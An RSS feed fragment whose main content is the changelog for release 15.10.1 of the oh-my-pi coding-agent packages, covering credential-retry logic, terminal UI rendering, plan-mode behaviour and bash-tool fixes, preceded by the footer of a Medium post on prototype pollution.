#VibeCoding #AI #SecureCoding #DeveloperSecurity #TechBlog #Programming</p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=25e0496ade04" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/javascript-prototype-pollution-deep-dive-reconnaissance-exploitation-bug-bounty-guideline-25e0496ade04">JavaScript Prototype Pollution Deep Dive : — Reconnaissance, Exploitation &amp; Bug Bounty Guideline</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[v15.10.1]]></title>
<description><![CDATA[@oh-my-pi/pi-agent-core
Added

Added optional promptCacheKey support to AgentOptions and Agent via a new promptCacheKey property so providers can receive a caller-provided prompt cache key
Added optional ApiKeyResolveContext parameter to getApiKey in AgentOptions and AgentLoopConfig so key resolv...]]></description>
<link>https://tsecurity.de/de/3580230/tools/v15101/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3580230/tools/v15101/</guid>
<pubDate>Mon, 08 Jun 2026 02:50:51 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>@oh-my-pi/pi-agent-core</h2>
<h3>Added</h3>
<ul>
<li>Added optional <code>promptCacheKey</code> support to <code>AgentOptions</code> and <code>Agent</code> via a new <code>promptCacheKey</code> property so providers can receive a caller-provided prompt cache key</li>
<li>Added optional <code>ApiKeyResolveContext</code> parameter to <code>getApiKey</code> in <code>AgentOptions</code> and <code>AgentLoopConfig</code> so key resolvers can receive retry context</li>
</ul>
<h3>Changed</h3>
<ul>
<li>Enabled streaming API calls to re-resolve credentials through the <code>getApiKey</code> callback when retries occur after authentication-related errors</li>
<li><code>Agent.abort(reason?)</code> now forwards <code>reason</code> to the underlying <code>AbortController</code>, and the synthesized aborted assistant message carries that reason on <code>errorMessage</code> (string or non-<code>AbortError</code> <code>Error</code> message) instead of always defaulting to <code>"Request was aborted"</code>. Bare <code>abort()</code> is unchanged.</li>
</ul>
<h3>Fixed</h3>
<ul>
<li>Fixed handling of short-lived API keys so that expired tokens are retried with a refreshed value during 401/usage-limit failures</li>
<li>Ensured fallback API key resolution uses the initially configured static <code>apiKey</code> when <code>getApiKey</code> is present</li>
<li>Wrapped oneshot LLM completions (<code>instrumentedCompleteSimple</code>: handoff, compaction/branch summaries) in an <code>EventLoopKeepalive</code>. These run outside the agent <code>#runLoop</code>, so without the keepalive Bun's event loop stopped servicing timers while parked on the completion promise — freezing host spinners (e.g. the <code>/handoff</code> loader) until an unrelated terminal resize poked the loop into rendering again.</li>
</ul>
<h2>@oh-my-pi/pi-ai</h2>
<h3>Breaking Changes</h3>
<ul>
<li>Removed the <code>onAuthError</code> option from stream request options and shifted auth retry handling to resolver-based <code>apiKey</code> behavior, requiring callers using custom auth-retry hooks to migrate</li>
</ul>
<h3>Added</h3>
<ul>
<li>Added <code>ApiKeyResolver</code> and <code>ApiKey</code> auth helpers, including <code>isApiKeyResolver</code>, <code>isAuthRetryableError</code>, <code>resolveApiKeyOnce</code>, and <code>withAuth</code>, and exported them from the package root</li>
<li>Added support for a function-valued <code>apiKey</code> in <code>SimpleStreamOptions</code> so a single stream request can refresh or rotate credentials during retry</li>
<li>Added <code>forceRefresh</code> credential option to <code>AuthStorage.getApiKey</code> and <code>rotateSessionCredential</code> support for session-level credential rotation after auth failures</li>
<li>Added <code>AuthStorage.resolver(provider, options)</code> method that builds an <code>ApiKeyResolver</code> implementing the a/b/c auth-retry policy directly on the storage instance</li>
</ul>
<h3>Changed</h3>
<ul>
<li>Changed gateway and stream auth flows to share the a/b/c retry policy, refreshing the same session credential first and then switching to a sibling credential on repeated auth failures</li>
</ul>
<h3>Fixed</h3>
<ul>
<li>Fixed streaming auth retries to handle <code>401</code> and usage-limit errors before replay-unsafe content is emitted, including failures surfaced only via <code>errorStatus</code></li>
<li>Fixed tool argument validation to coerce singleton non-string values into arrays when the schema expects an array, preventing Anthropic-compatible models that emit <code>todo.ops</code> as an object from getting stuck in repeated validation-error loops. (<a href="https://github.com/can1357/oh-my-pi/issues/2026" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/2026/hovercard">#2026</a>)</li>
<li>Fixed streaming retries to buffer and suppress partial <code>start</code> events from failed auth attempts so only clean retried events are delivered</li>
<li>Fixed the HTTP 400 raw-request dumper (<code>appendRawHttpRequestDumpFor400</code>) littering the real <code>~/.omp/logs/http-400-requests</code> directory during tests. Provider suites exercise the 400 error path with mocked <code>fetch</code> responses, which the dumper could not distinguish from genuine failures; it now skips persistence under the Bun test runner (<code>isBunTestRuntime()</code>).</li>
<li>Fixed Anthropic Opus requests unnecessarily forcing <code>tool_choice.disable_parallel_tool_use</code>, allowing Claude Opus to use the provider's default parallel tool-calling behavior again.</li>
<li>Fixed parallel <code>function_call</code> items losing arguments against llama.cpp's OpenAI Responses endpoint (<code>/v1/responses</code>), where every call but the last finalized with <code>{}</code> and the agent rejected them with <code>path: Invalid input: expected string, received undefined</code>. llama.cpp's <code>to_json_oaicompat_resp</code> emits <code>output_item.added</code> with only <code>item.call_id</code> (no <code>item.id</code>, no <code>output_index</code>) while the matching <code>function_call_arguments.delta</code> carries <code>item_id: "fc_&lt;call_id&gt;"</code>. <code>processResponsesStream</code> now registers function-call and custom-tool-call items under <code>item.call_id</code> as a secondary lookup key (alongside <code>item.id</code>/<code>output_index</code>) so identifier-deviant hosts route deltas and done events to the right block. (<a href="https://github.com/can1357/oh-my-pi/issues/2015" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/2015/hovercard">#2015</a>)</li>
<li>Fixed <code>PI_REQ_DEBUG</code> response recording truncating the captured body when a streamed response was cancelled mid-flight. The response tee in <code>wrapResponse</code> could call <code>FileRequestDebugResponseLog.close()</code> from both the <code>cancel</code> callback and the resumed <code>pull</code> (which observes <code>done</code> once the source reader is cancelled); the second caller saw the handle already nulled and returned before the first caller's pending write flushed, so the <code>.res.log</code> lost the already-buffered chunk. <code>close()</code> now memoizes its flush-and-close promise so every caller awaits the same completion.</li>
</ul>
<h2>@oh-my-pi/pi-coding-agent</h2>
<h3>Added</h3>
<ul>
<li>Added <code>display.smoothStreaming</code> setting (default <code>true</code>) to let users enable or disable smooth assistant-stream text reveal</li>
<li>Added <code>/tan &lt;work&gt;</code> slash command to fork the current conversation into a background agent so tangential work can continue asynchronously while your main session stays active</li>
<li>Added a background <code>/tan</code> dispatch message that records the handoff in the transcript and marks the delegated work as non-blocking</li>
<li>Added <code>providerPromptCacheKey</code> support to <code>CreateAgentSessionOptions</code> so <code>/tan</code> background sessions can reuse the parent session’s prompt-cache lineage</li>
<li>Added session cloning for <code>/tan</code> runs with copied artifacts and shared MCP proxy tools</li>
<li>Added <code>SessionManager.forkFrom</code>’s optional <code>suppressBreadcrumb</code> mode to avoid breadcrumb updates when forking background <code>/tan</code> sessions</li>
<li>Added OSC 5522 enhanced paste handling in <code>InputController</code>, so terminal clipboard events are decoded as image or text payloads and inserted without passing raw paste sequences to the editor</li>
<li>Added bracketed image-path paste support in <code>CustomEditor</code> so a single pasted image file path (PNG/JPEG/GIF/WEBP) is loaded from disk and inserted as an image candidate</li>
<li>Added direct support for <code>Image #N</code> insertion from pasted local image paths by routing successful image-path pastes through the same image normalization and resize flow as clipboard image pastes</li>
<li>Added <code>/fresh</code> to rotate the provider-facing session id and clear in-memory provider stream/cache state without changing the local session file.</li>
<li>Added a <code>ChatBlock</code> transcript primitive (<code>modes/components/chat-block.ts</code>) and a single <code>ctx.present(...)</code> sink (with <code>ctx.resetTranscript()</code>) so chat output is mounted in one place instead of the repeated <code>chatContainer.addChild(...)</code> + <code>ui.requestRender()</code> pattern scattered across controllers. <code>ChatBlock</code> carries a React/Svelte-style lifecycle — <code>onMount</code> starts effects, <code>onCleanup</code> registers teardown, <code>finish()</code> self-completes (stops timers and freezes the block at its final content), and <code>dispose()</code>/<code>resetTranscript()</code> tears everything down — so animated blocks own their own resources instead of leaking <code>setInterval</code>/<code>requestRender</code> bookkeeping into callers. The MCP "Connecting…" spinner is now such a block.</li>
<li>Added a <code>framedBlock</code> output-block helper (<code>tui/output-block.ts</code>) plus a <code>borderColor</code> override and <code>applyBg: false</code> (no background fill) on output blocks, a <code>renderStatusLine</code> <code>iconOverride</code>, and an <code>icon.search</code> (magnifier) theme symbol — so tool renderers can draw self-contained muted-outline frames and search-family tools can show a magnifier instead of a checkmark.</li>
</ul>
<h3>Changed</h3>
<ul>
<li>
<p>Changed the bash tool frame to use a plain top rule instead of repeating "Bash" in the title bar, and folded minimizer raw-output artifact links into the status footer as <code>Artifact: &lt;id&gt;</code>.</p>
</li>
<li>
<p>Changed grouped <code>read</code> output to use a white filled-circle mark for the group/single-read success state and omit duplicate per-file success marks inside multi-read groups.</p>
</li>
<li>
<p>Changed assistant streaming output to reveal text incrementally at 30 FPS with grapheme-safe adaptive catch-up, instead of replacing the whole message chunk-by-chunk</p>
</li>
<li>
<p>Changed shimmer-driven TUI animations (working text, pending bash/eval borders, and theme activity-spinner documentation) to render at 30fps instead of 60fps.</p>
</li>
<li>
<p>Changed running <code>task</code> tool agent rows to use a static <code>•</code> marker and shimmer only the subagent name, leaving descriptions, stats, and nested tool detail text solid while removing the rotating status glyph from those rows.</p>
</li>
<li>
<p>Changed settings singleton method access to reuse bound methods for the active instance instead of allocating a new bound function on every <code>settings.get</code> lookup.</p>
</li>
<li>
<p>Changed plan-mode approval to keep the drafted <code>local://&lt;slug&gt;-plan.md</code> file at its original name as the canonical plan path, so approved plans are no longer renamed when leaving plan mode</p>
</li>
<li>
<p>Changed plan-mode write enforcement so only <code>local://</code> artifact files are writable during planning, blocking working-tree edits and allowing scratch or draft plan files in the local artifact area</p>
</li>
<li>
<p>Changed the <code>todo</code> tool result renderer to stop redrawing every phase's full task list on each update: when a multi-phase list is rendered collapsed (the default, not manually expanded), only phases the latest update touched — the phase holding the in_progress task, any phase with a just-completed task, and phases named by the ops that ran (<code>init</code> counts as touching all) — render their tasks; untouched phases collapse to a one-line <code>N. Name  done/total</code> summary. When call args are unavailable (e.g. transcript rebuilds) it falls back to the in_progress/completed-transition signals, and the manual expand toggle still shows every task. Also dropped the blank separator line previously inserted between phases.</p>
</li>
<li>
<p>Changed non-agent API operations (title and commit-message generation, image generation, web search, eval <code>llm()</code>, auto-thinking classifier, memory consolidation) to use session-aware API key resolution with auth retries via <code>registry.resolver()</code> / <code>authStorage.resolver()</code>, refreshing the active credential before rotating to another account</p>
</li>
<li>
<p>Changed image generation to wrap every provider fetch branch in <code>withAuth</code>, so 401 / usage-limit errors trigger credential force-refresh and rotation for authStorage-backed providers (OpenAI-hosted, antigravity, xai-oauth) while env-only providers (openrouter, gemini) stay single-attempt</p>
</li>
<li>
<p>Changed web-search providers using <code>authStorage.getApiKey</code> (anthropic, exa, tavily, parallel, synthetic, zai, kimi) to wrap HTTP calls in <code>withAuth</code> for automatic credential rotation on 401 / usage-limit errors</p>
</li>
<li>
<p>Changed the directory grouping for <code>find</code>, <code>search</code>, <code>ast_grep</code>, <code>ast_edit</code>, and <code>lsp</code> diagnostics from a single flat <code># dir/</code> heading per immediate directory to a multi-level tree that folds the common path prefix into one heading. Previously every group repeated the full directory path — so results rooted outside cwd printed the absolute prefix (e.g. <code>/Users/me/proj/</code>) on every heading and nested directories were never collapsed. Now a single-child directory chain folds into one heading (<code># packages/pkg/src/</code>, including an absolute root for out-of-cwd results), subdirectories nest one <code>#</code> deeper (<code>## nested/</code> → <code>### child.ts</code>), and each directory's own files are listed before its subdirectories. TUI hyperlink reconstruction tracks the nested directory stack across the whole output so file and code-frame links keep resolving to the correct absolute paths.</p>
</li>
<li>
<p>Changed the plan-mode approval surface from an inline transcript block plus a separate bottom selector into a single fullscreen overlay (like <code>/copy</code>) and overhauled its navigation. The overlay now renders the plan per-section through <code>ScrollView</code> (line-level ↑/↓ scroll, Shift+↑/↓ to scroll faster, PgUp/PgDn, g/G) with no stray per-line <code>…</code>, and — when the terminal is wide enough and the plan has ≥2 headings — shows a compact VS Code-style section sidebar (the redundant plan-title heading and any "Contents" label are omitted). Focus moves between regions with Tab/Shift+Tab (and flows at the edges: Down past the last section or the bottom of the body drops into the approval options; Up steps back), while the sidebar glows to track the scrolled section. The sidebar can fast-jump between sections, delete a section (with <code>u</code> undo), and annotate sections with feedback (<code>a</code>); deletions and annotations are collected into refinement feedback that is submitted back to the model when the operator picks "Refine plan". Mouse works too: clicking an approval option activates it, clicking a sidebar section jumps to it, and the wheel scrolls the plan. ←/→ always drive the model-tier slider, Enter confirms, the external-editor key opens the plan, and Esc cancels. The overlay borrows the terminal's alternate screen buffer for its lifetime (<code>fullscreen</code> overlay), so the transcript stays put on the normal screen instead of bleeding through scrollback behind the modal.</p>
</li>
<li>
<p>Changed the interactive controllers (command, MCP, selector, extension-UI, event), debug panels, and the status/error/warning helpers to render chat output through <code>ctx.present(...)</code> instead of appending to <code>chatContainer</code> and calling <code>ui.requestRender()</code> directly; transcript rebuilds dispose live blocks via <code>ctx.resetTranscript()</code> so animated blocks' timers stop on reset.</p>
</li>
<li>
<p>Changed tool-execution block rendering so the container (<code>ToolExecutionComponent</code>) is a transparent passthrough — it no longer inserts a top/bottom blank line, adds left/right padding, or paints a state-colored background behind tool output. Tools with substantial body now self-frame with a muted outline and the tool title in the frame's top bar (<code>edit</code>/<code>apply_patch</code>, <code>write</code>, <code>ask</code>, <code>todo</code>, <code>github</code>, <code>goal</code>, <code>inspect_image</code>, <code>search_tool_bm25</code>, <code>task</code>), matching the already-framed <code>bash</code>/<code>read</code>/<code>eval</code>/<code>debug</code>/<code>web_search</code>/<code>lsp</code> blocks, while streaming/in-progress and trivial results collapse to a clean status line. The search-family list tools (<code>find</code>, <code>search</code>, <code>ast_grep</code>) and <code>job</code> render frameless/minimal; <code>find</code>/<code>search</code>/<code>ast_grep</code> show a magnifier on success instead of a checkmark, and <code>job</code> drops its <code>Job:</code> label prefix (the per-job rows are self-describing). The <code>search_tool_bm25</code>, <code>github</code>, and <code>inspect_image</code> frames draw with no background fill, and <code>inspect_image</code>'s label was shortened to <code>Inspect</code>.</p>
</li>
<li>
<p>Changed the plan-mode active prompt (<code>prompts/system/plan-mode-active.md</code>) to make plans decision-complete and cut filler. Added an Objective framing ("another engineer can execute end-to-end without making a single design decision"), a shared "Resolving Unknowns" section (explore discoverable facts before asking; reserve <code>ask</code> for non-derivable preferences/tradeoffs with 2–4 options + a recommended default), and a single shared "The Plan" structure (Context / Approach grouped by behavior not file-by-file / ≤5 Critical files / Verification / Assumptions) that replaces the per-branch structure guidance previously duplicated across the iterative and parallel workflows. Added explicit prohibitions on sections that decide nothing (Non-Goals, Out of Scope, Alternatives Considered, Risks/Mitigations boilerplate, Future Work), on enumerating every file/line, and on inventing schema/validation/precedence policy the request never established.</p>
</li>
<li>
<p>Changed completion notifications (<code>completion.notify</code>) to fire whenever the agent yields its turn, including in the foreground. The <code>agent_end</code> notification was previously gated behind background mode (<code>isBackgrounded</code>), so an ordinary foreground turn never emitted one; the gate is gone and the desktop toast now fires on every normal turn completion (still skipped for aborted/error turns and when <code>completion.notify</code> is <code>off</code>).</p>
</li>
<li>
<p>Changed the in-progress <code>task</code> tool block to keep the shared <code>context</code> brief (<code># Goal</code> / <code># Constraints</code> background) visible after the first progress snapshot arrives, instead of dropping it the moment the streaming call view was replaced by the result frame, and to stop animating a spinner/clock next to the <code>Task</code> frame header while running — the per-agent body lines already carry their own running spinner, so the header now shows a static state icon (matching the completed/failed header icons). The context is rendered through a shared <code>buildContextSection</code> helper that also undoes per-field double-encoding, so the brief reads cleanly in the result frame even though <code>renderResult</code> receives the raw (un-repaired) tool args.</p>
</li>
<li>
<p>Changed the messaging shown when you press Esc to interrupt a streaming turn from the ambiguous <code>Operation aborted</code> / <code>Tool execution was aborted: Request was aborted</code> to <code>Interrupted by user</code>, so a deliberate user interrupt no longer reads like an internal failure. Every Esc/flush interrupt path (<code>onEscape</code> while streaming, the queued-message restore-and-abort path, and the empty-submit queue flush) threads the reason through <code>AgentSession.abort({ reason })</code> → <code>Agent.abort(reason)</code> so it rides the <code>AbortController</code> onto the aborted assistant message's <code>errorMessage</code>; the turn label renders it verbatim on both the live and replay paths, and the synthetic placeholder results paired with in-flight tool calls now read <code>Tool execution was aborted: Interrupted by user</code>. Aborts that carry no reason still fall back to the retry-aware <code>Operation aborted</code> generic. Transcript label resolution is centralized in <code>resolveAbortLabel</code> (<code>session/messages.ts</code>).</p>
</li>
</ul>
<h3>Removed</h3>
<ul>
<li>Removed the <code>/background</code> (and <code>/bg</code>) slash command and the background-mode subsystem it was the sole entry point for — <code>InteractiveMode.isBackgrounded</code>, <code>createBackgroundUiContext</code>, <code>handleBackgroundEvent</code>, and every <code>isBackgrounded</code> guard across the input/event/extension-UI controllers and UI helpers. The command suspended the whole process group via <code>SIGTSTP</code> (a leftover testing shortcut) instead of detaching the running agent, which is not the expected workflow — use terminal panes or a multiplexer instead.</li>
</ul>
<h3>Fixed</h3>
<ul>
<li>
<p>Fixed inline <code>find</code> and <code>search</code> result blocks to align with grouped <code>read</code> output and render their success headers with the normal tool-title color instead of accent blue.</p>
</li>
<li>
<p>Fixed the working-status shimmer to opt into the loader's 30fps animated-message repaint path while keeping both the status spinner and pending bash/eval tool spinners on their normal 80 ms glyph cadence.</p>
</li>
<li>
<p>Fixed consecutive <code>read</code> tool calls failing to collapse into a single grouped block when a reasoning model emits one read per completion (<code>[thinking, read]</code>). The read group was reset on every assistant <code>message_start</code>, so each read rendered as its own one-entry <code>Read …</code> line; now a read run accretes across completions and is broken only by a rendered non-empty text/thinking block, a non-read tool, or a user/IRC message — matching the transcript-rebuild path. <code>ReadToolGroupComponent</code> now reports its live/finalized state so the growing <code>Read (N)</code> header repaints correctly on native-scrollback (risk) terminals.</p>
</li>
<li>
<p>Fixed the <code>task</code> tool shared-context brief rendering raw Markdown headings (<code># Goal</code>, <code># Constraints</code>) inside framed call/result blocks instead of using the normal Markdown renderer.</p>
</li>
<li>
<p>Fixed the animated pending border on <code>bash</code>/<code>eval</code> blocks leaving a frozen dark "bar" segment behind after a backgrounded command finalized through the async update path. Once a command is auto-backgrounded (<code>details.async.state === "running"</code>) the block stays "partial" in the TUI until the async job-manager delivers the final result, but it also gets committed to native scrollback — so a mid-sweep shimmer frame baked a stray darkened border segment into the committed copy. The border now stops animating (and the 60fps redraw loop stops) the moment a block enters the backgrounded state, so the committed frame is a clean static border.</p>
</li>
<li>
<p>Fixed cold <code>omp</code> launch to clear native terminal history on the first paint, avoiding a once-per-launch duplicate welcome/transcript copy before the normal session replay.</p>
</li>
<li>
<p>Fixed plan approval resolution so <code>resolve</code> with <code>action: "apply"</code> can still find the plan file when <code>extra.title</code> is missing or stale by falling back to the current plan path and most-recent local plan artifacts</p>
</li>
<li>
<p>Fixed the search-family tool magnifier glyph (<code>find</code>, <code>search</code>, <code>ast_grep</code>, <code>search_tool_bm25</code>) to use the <code>accent</code> title color instead of <code>success</code> green, so the icon matches the tool title in the status header instead of standing out</p>
</li>
<li>
<p>Fixed TTSR stream interrupts to pass the matched rule name through the abort reason, so aborted in-flight tool placeholders say why they were stopped instead of <code>Request was aborted</code>.</p>
</li>
<li>
<p>Fixed URL reads for binary/special payloads to reuse local readers: remote archives list their root entries, SQLite databases show their table overview, notebooks render as editable cells, and unrenderable binary returns a metadata notice instead of decoded byte garbage.</p>
</li>
<li>
<p>Fixed pasted image-file paths that cannot be loaded to fall back to normal text paste with status feedback instead of disappearing.</p>
</li>
<li>
<p>Fixed tool-output file paths not being clickable OSC 8 <code>file://</code> hyperlinks in several renderers. <code>read</code> titles for plain text and image files (the common case) emitted no link at all because the renderer only linked when a <code>resolvedPath</code> was recorded — which the ordinary file/image read paths never set, keeping the absolute path only in <code>meta.source</code>; the renderer now falls back to that source path. <code>write</code> headers were never wrapped in a hyperlink and now link to the absolute path written (file, archive entry, SQLite, and conflict resolutions). <code>edit</code>/<code>apply_patch</code> headers wrapped the model-supplied (often cwd-relative) argument path, producing a root-anchored <code>file:///rel/path</code> URI; they now link the absolute <code>details.path</code> instead. Finally, <code>search</code>, <code>ast_grep</code>, and <code>ast_edit</code> produced doubled link targets (<code>/proj/src/src/file.ts</code>) for searches scoped to a subdirectory, because the renderer resolved the cwd-relative display paths against the scope directory rather than cwd — the scoped-search base is now the session cwd (with the scoped file's absolute path still seeding single-file body lines).</p>
</li>
<li>
<p>Fixed <code>omp dry-balance --bench</code> to recover from 401 token failures by re-minting the failing OAuth credential in place before switching accounts</p>
</li>
<li>
<p>Fixed the bash tool corrupting commands that embed multi-byte UTF-8 (e.g. <code>✓</code>/<code>×</code> inside a <code>grep -E</code> pattern) ahead of a trailing <code>| head</code>/<code>| tail</code>. The <code>bash.stripTrailingHeadTail</code> rewrite cut at char-offset positions reported by <code>brush-parser</code> while slicing the command by byte offset, so the trailing-pipe strip landed mid-pattern and dropped the closing quote — turning <code>… |✓|×|XCTAssert" | tail -80</code> into <code>… |✓|×-80</code> and making execution fail with <code>pi-natives:command: unterminated double quote</code>. Fixed in <code>pi_shell::fixup</code> (<code>@oh-my-pi/pi-natives</code>).</p>
</li>
<li>
<p>Fixed <code>omp dry-balance --bench</code> to recover from 401 token failures by re-minting the failing OAuth credential in place before switching accounts</p>
</li>
<li>
<p>Fixed duplicate file entries in grouped outputs for <code>find</code>, <code>search</code>, <code>ast_grep</code>, <code>ast_edit</code>, and <code>lsp</code> diagnostics when the same path appeared multiple times</p>
</li>
<li>
<p>Fixed search, grep, and edit output rendering so repeated directory group blank-line boundaries no longer break nested path/link reconstruction</p>
</li>
<li>
<p>Fixed <code>omp dry-balance --bench</code> flooding the terminal with staircased, duplicated spinner/status lines (and an indented summary) when the tty has ONLCR/OPOST disabled (raw mode). The interactive progress region separated rows with a bare LF and repositioned with a column-preserving <code>\x1b[&lt;n&gt;A</code> cursor-up, both of which only land at column 0 when the terminal translates LF→CRLF; with that translation off, every 80 ms redraw cascaded down and to the right into scrollback. The live region now carriage-returns before every cleared row, terminates each row with CRLF, and caps each row to the terminal width so a wrapped line cannot desync the cursor-up from the logical line count.</p>
</li>
<li>
<p>Fixed inconsistent vertical spacing between transcript blocks: some blocks (tool results from <code>search</code>/<code>find</code> and other renderer-backed tools) rendered with a doubled gap (a leading <code>Spacer</code> plus the content box's own <code>paddingY</code>), while others (the grouped <code>read</code> card, file-mention lists, IRC cards) rendered with no gap at all. Vertical spacing is now owned entirely by the chat renderer: <code>TranscriptContainer</code> strips each block's plain-blank top/bottom edges and inserts exactly one blank line between consecutive blocks, so every block is separated by a single consistent gap regardless of which component produced it. Individual components (assistant/user/tool/read-group/bash/eval/skill/custom/hook/compaction/branch/todo-reminder/plan-review messages) no longer emit their own leading <code>Spacer</code>/<code>paddingY</code> for separation, and multi-row groups (IRC cards, file-mention lists, completed-job batches, and the bordered command/<code>/changelog</code>/<code>/context</code>/version/OAuth/debug panels) are wrapped as single <code>TranscriptBlock</code> children so the renderer spaces them as one unit. Background-colored box padding is preserved as block-internal design.</p>
</li>
<li>
<p>Fixed <code>resolve</code> with <code>action: "discard"</code> surfacing a hard <code>isError</code> "No pending action to resolve" failure to the model when the agent asked to cancel a staged action (e.g. an <code>ast_edit</code> preview) but nothing was pending. A discard is a request to reach the "no staged change" end-state, which already holds in that case, so it is now honored as a successful cancellation (<code>"Nothing to discard; no pending action remains."</code> with <code>details.action: "discard"</code>) instead of an error. <code>action: "apply"</code> with no pending action still errors.</p>
</li>
<li>
<p>Fixed the collapsed tool-output expand hint rendering double brackets (e.g. <code>((Ctrl+O for more))</code>) — the <code>EXPAND_HINT</code> text already carried its own parentheses and then <code>formatExpandHint</code> wrapped it again with the theme's bracket glyphs. The hint now resolves the key actually bound to <code>app.tools.expand</code> at render time and reads <code>⟨&lt;key&gt;: Expand⟩</code> (e.g. <code>⟨Ctrl+O: Expand⟩</code>), so a single bracket pair surrounds it and a user remap of the expand keybinding is reflected instead of a hard-coded <code>Ctrl+O</code>.</p>
</li>
<li>
<p>Fixed the <code>edit</code>/<code>apply_patch</code> tool dropping its outlined frame while streaming/in-progress (only the final result was framed); the in-progress diff preview now renders inside the same muted frame as the completed result.</p>
</li>
<li>
<p>Fixed the <code>todo</code> and <code>job</code> tools rendering a success icon and success styling on a failed/error result; error results now show the error icon and a red frame border.</p>
</li>
<li>
<p>Fixed <code>debug</code> tool refusing every <code>dlv</code> launch on Go modules. The launch handler ran <code>validateLaunchProgram</code> before adapter selection and rejected any directory program with <code>launch program resolves to a directory</code>, while dlv's default <code>mode=debug</code> requires a Go package path (a directory or <code>.go</code> source file). Adapter resolution now precedes validation, directory programs prefer adapters that advertise <code>acceptsDirectoryProgram</code> before falling back to native extensionless debuggers, the rejection only fires when the resolved adapter does not advertise that flag (set on <code>dlv</code> in <code>dap/defaults.json</code>), and dlv's <code>mode</code> is derived from the program shape — directories and <code>.go</code> files launch as <code>mode=debug</code>, other files as <code>mode=exec</code> — so <code>omp</code> can debug both Go packages and pre-built binaries (<a href="https://github.com/can1357/oh-my-pi/issues/2020" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/2020/hovercard">#2020</a>).</p>
</li>
</ul>
<h2>@oh-my-pi/pi-natives</h2>
<h3>Fixed</h3>
<ul>
<li>Fixed <code>applyBashFixups</code> corrupting commands that contain multi-byte UTF-8 before a trailing <code>| head</code>/<code>| tail</code> (or <code>2&gt;&amp;1</code>). <code>brush-parser</code> reports source positions as Unicode-scalar (char) offsets, but <code>pi_shell::fixup</code> sliced the command <code>&amp;str</code> by those numbers as if they were byte offsets, so each multi-byte char (e.g. <code>✓</code>/<code>×</code> in a <code>grep -E</code> pattern) shifted the cut earlier and left a mangled command — e.g. <code>… |✓|×|XCTAssert" | tail -80</code> became <code>… |✓|×-80</code>, orphaning the closing quote and making the shell reject the whole pipeline with <code>unterminated double quote</code>. Positions are now translated to byte offsets before slicing.</li>
</ul>
<h2>@oh-my-pi/pi-tui</h2>
<h3>Breaking Changes</h3>
<ul>
<li>Removed Kitty temp-file image transmission, its startup support probe, the <code>PI_KITTY_IMAGE_TRANSMISSION</code> override, and the temp-file helper exports. Kitty/Ghostty image payloads now stay on in-band base64 before placeholder/direct placement, avoiding blank first renders from temp-file load races.</li>
<li>Renamed <code>RenderRequestOptions.allowUnknownViewportMutation</code> → <code>allowUnknownViewportTransientRepaint</code>. The option only permits a transient live-viewport repaint (autocomplete/IME/focused-editor chrome) on hosts that cannot report viewport position; it never authorizes a settled transcript commit. The old name implied any offscreen mutation was safe to push into native scrollback, which led callers to emit duplicate transcript copies.</li>
</ul>
<h3>Added</h3>
<ul>
<li>Added <code>TUI.addStartListener()</code> so feature hooks can re-enable terminal modes after temporary stop/start cycles such as external-editor handoffs.</li>
<li>Added <code>Editor.pasteText()</code> to apply terminal-style paste handling for text inserted from non-bracketed paste transports</li>
<li>Added an optional <code>dispose()</code> lifecycle method to <code>Component</code> so components can release timers and subscriptions during permanent teardown</li>
<li>Added <code>Container.dispose()</code> to propagate teardown to child components when a component tree is permanently discarded</li>
<li>Added <code>Loader.dispose()</code> to stop the loader animation timer when the component is disposed</li>
<li>Added a <code>ScrollView</code> <code>ellipsis</code> option (defaults to <code>Ellipsis.Unicode</code>) so callers that pre-wrap content to width can pass <code>Ellipsis.Omit</code> and suppress the stray per-line <code>…</code> that lands on trailing padding.</li>
<li>Added <code>ScrollView.handleScrollKey()</code> plus a <code>fastScrollLines</code> option so every scroll view gets shared navigation keys, including Shift+Arrow to scroll faster.</li>
<li>Added <code>OverlayOptions.fullscreen</code>: while the topmost visible overlay sets it, the engine borrows the terminal's alternate screen buffer for the overlay's lifetime and paints only the modal there — no ED3, no transcript re-commit — so the transcript stays untouched on the normal screen and is not scrollable behind the modal. Mouse tracking (<code>?1000h</code>/<code>?1006h</code>) is enabled for the modal's lifetime and disabled on exit, so the rest of the app keeps the terminal's native text selection.</li>
<li>Added the <code>submitPinsViewportToTail</code> terminal capability and <code>detectSubmitPinsViewportToTail()</code>: genuine local terminals where a submit keystroke scrolls the host to its tail reconcile deferred native scrollback at the prompt-submit checkpoint even when the viewport position is unprobeable (Ghostty/kitty/iTerm/WezTerm/Alacritty). Restores the pre-regression submit reconciliation without re-enabling it for Windows Terminal/ConPTY, SSH, or multiplexers, where a submit is not proof the host is at the tail.</li>
</ul>
<h3>Changed</h3>
<ul>
<li>Changed static <code>Loader</code> messages to repaint only at the spinner's 80 ms cadence; time-dependent message colorizers can opt into 16 ms redraws with <code>animated: true</code>.</li>
<li>Changed keybinding matching to precompute canonical key sets so each input sequence is parsed once per binding check instead of once per candidate key.</li>
<li>Made <code>Component.invalidate()</code> optional so leaf components without render caches no longer need no-op invalidation hooks.</li>
<li><code>TERMINAL</code> is now a <code>RuntimeTerminal</code> whose post-construction capabilities (image protocol and the probe-driven flags) are writable, replacing the <code>as unknown as MutableTerminalInfo</code> cast pattern and the positional <code>withTerminalOverrides</code> rebuild with a prototype-preserving <code>clone()</code>.</li>
</ul>
<h3>Fixed</h3>
<ul>
<li>
<p>Fixed <code>Loader</code> text updates to skip identical messages and preserve the rendered <code>Text</code> cache instead of invalidating it every timer tick.</p>
</li>
<li>
<p>Fixed fullscreen overlay alt-frame rendering to reuse the current line-preparation path instead of calling removed fitting helpers.</p>
</li>
<li>
<p>Reduced TUI render-path line fitting by deferring overlay base-frame fitting until an overlay rebuild and by reusing already-fitted lines in emitters.</p>
</li>
<li>
<p>Reduced live-region pinned repaint output by diffing unchanged viewport rows when no sealed rows are being committed to native scrollback.</p>
</li>
<li>
